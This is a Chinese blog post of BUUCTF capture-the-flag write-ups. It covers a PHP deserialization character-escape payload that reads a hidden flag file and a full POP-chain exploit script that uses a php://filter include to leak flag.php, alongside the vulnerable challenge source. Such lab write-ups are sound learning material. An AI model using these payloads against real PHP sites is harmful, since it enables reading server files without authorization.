首页 > 其他分享 >buuctf写题

buuctf写题

时间:2023-06-30 17:33:35浏览次数:34  
标签:function __ buuctf img source 序列化 写题 php

php反序列化字符逃逸

easy_serialize_php

拿到源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}//将变量$img中的php flag php5 php4 fl1g的字符串替换成''空字符

if($_SESSION){//摧毁$_SESSION数组变量
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;//变量覆盖可以重置$_SESSION变量

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}//如果!$function为空的话输出刚开始的页面,也就是帮助页面

if(!$_GET['img_path']){//$_GET['img_path'] 为空情况下会默认给定一个图片文件名 然后进行base64编码 赋值给SESSION
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//这里对接收到的img文件名进行base64编码和sha1加密

$serialize_info = filter(serialize($_SESSION));
//序列化$_SESSION然后进行了过滤
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

url中给f赋值可以进入到phpinfo,发现d0g3_f1ag.php文件。这个文件无法直接访问。

代码逻辑:在第三个if语句里,出现了file_get_contents读取文件内容的函数,用该函数可以将d0g3_f1ag.php的内容回显出来,因此f=show_image。在反序列化之前,对$_SEESION变量进行了序列化,而且进行了过滤,这会导致字符逃逸的问题。

比如:$_SESSION[q] = p;

序列化以后的字符串为:a:1{s:q的位数:"xxxx";s:p的位数:"xxxx"}

如果q中含有被过滤字符串,这里的php和flag,则过滤函数执行以后,序列化字符串会按定长向后读取内容作为第一个参数的值。

在执行file_get_contents读取文件内容的时候,会对变量进行base64解码,因此要将d0g3_f1ag.php进行base64编码为:ZDBnM19mMWFnLnBocA==。而且要让img成为一个独立的参数。由于session没有做检测,user、function之后的内容是程序无法控制的。并且php反序列化会自动将{}之外的内容抛弃。构造payload如下:

$_SESSION[flagphp]=;s:1:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

经过序列化后:

{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}

过滤以后:

{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}

其中";s:48:这一段作为第一个参数的键,值为字符串1,第二个参数为img,值为ZDBnM19mMWFnLnBocA==

得到d0g3_f1ag.php中的内容,flag in /d0g3_fllllllag,将/d0g3_fllllllag进行base64编码,序列化构造字符串。

ezpop1

代码审计:

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
 
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
 
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
 
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
 
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
 
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
>

构造出一个pop,能够出发Modifier的append函数,执行include把代码flag.php中的代码显示出来。

各种魔术函数的执行时机:

1.__invoke:当脚本尝试将对象调用为函数的时候会触发。

2.__construct:创建一个对象的时候自动调用。

3.__get:用来访问不可访问的数据属性,比如私有属性

本题中get函数里p当作函数执行,满足了modifier里invoke方法的调用条件,__get方法会在访问一个类中不存在的属性时自动调用。

4.__tosring:当对象被当作字符串处理会出发,下面的wakeup有个正则匹配是把source对象当作匹配对象,出发wakeup,就会触发toString。

5.__wakeup:在unserialize方法调用的时候会出发wakepu。

调用流程:

unserialize→wakeup→tostring→调用test的source变量(不存在)→get→

把modifier当作对象调用出发invoke

exp:

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p = $m; //赋值Test类的对象$t下的属性p为Modifier类的对象$m,触发__invoke魔术方法
$s->str= $t;//赋值Show类的对象$s下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象$s下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));

标签:function,__,buuctf,img,source,序列化,写题,php
From: https://www.cnblogs.com/Goo1/p/17517420.html

相关文章

  • re | buuctf逆向刷题之crackMe
    写在前头本题来自安洵杯2019crackMe,涉及到的知识点较多,Mark一下分析从main开始反编译main函数,9行这里触发了一个内存写异常,有点奇怪哈发现SEH查看汇编,哦这里注册了一个SEH函数,sub4100F跟进去看一下,很简单的算法,input划分为4个4字节的值,赋给v5,v5数组按照往后递推的方式,由......
  • buuctf刷题笔记
    换表的base64解密importbase64importstringstr1="x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q"string1="ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"string2="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkl......
  • 我是如何写题解的
    在算法竞赛中,写题解是我们不可或缺的一部分。它不仅能够帮助我们整理思路、总结经验,还可以与他人分享我们的解题思路和代码实现。然而,写一篇较完备的题解往往非常繁琐,需要手动复制粘贴题目链接、题号和AC代码,这不仅费时费力,还容易分散我们的注意力,因为我们写题解的核心内容是对题......
  • BUUCTF:[安洵杯 2019]easy_web
    https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_webTXpVek5UTTFNbVUzTURabE5qYz0经过base64decode->base64decode->hexdecode得到555.png解码编码脚本或者自己利用在线工具编码也行frombinasciiimport*frombase64import*defdecode(param):r......
  • BUUCTF:[BJDCTF2020]EasySearch
    index.php.swp发现源码<?php ob_start(); functionget_hash(){ $chars='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random=$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_ran......
  • BUUCTF:[CISCN2019 华东南赛区]Web11
    注意到了banner中信息说是smarty,并且将XFF输出到页面直接尝试Smarty模板注入{$smarty.version}Smarty3官方手册:https://www.smarty.net/docs/zh_CN/language.function.if.tpl{ifsystem('ls-lha/')}{/if}{ifsystem('cat/flag')}{/if}......
  • BUUCTF:[WesternCTF2018]shrine
    https://buuoj.cn/challenges#[WesternCTF2018]shrineimportflaskimportosapp=flask.Flask(__name__)app.config['FLAG']=os.environ.pop('FLAG')@app.route('/')defindex(): returnopen(__file__).read() @app.route(&......
  • BUUCTF:[SUCTF 2019]Pythonginx
    @app.route('/getUrl',methods=['GET','POST'])defgetUrl():url=request.args.get("url")host=parse.urlparse(url).hostnameifhost=='suctf.cc':return"我扌yourproblem?111&q......
  • BUUCTF: [网鼎杯 2020 朱雀组]Nmap
    https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E6%9C%B1%E9%9B%80%E7%BB%84]Nmap会把扫描结果导出到一个文件里面给参数f传一个错误的文件名通过报错发现使用了simplexml_load_file(),那说明导出的文件格式是xml的使用输出格式可以将指定的内容输出到指定......
  • BUUCTF:[极客大挑战 2019]BabySQL
    题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL简单测试之后发现有些字符被过滤,初步判断这里的过滤是指特殊字符被替换为空,如下图所示使用Burp进行SQL过滤字符的Fuzz这些长度为726响应内容是Inputyourusernameandpass......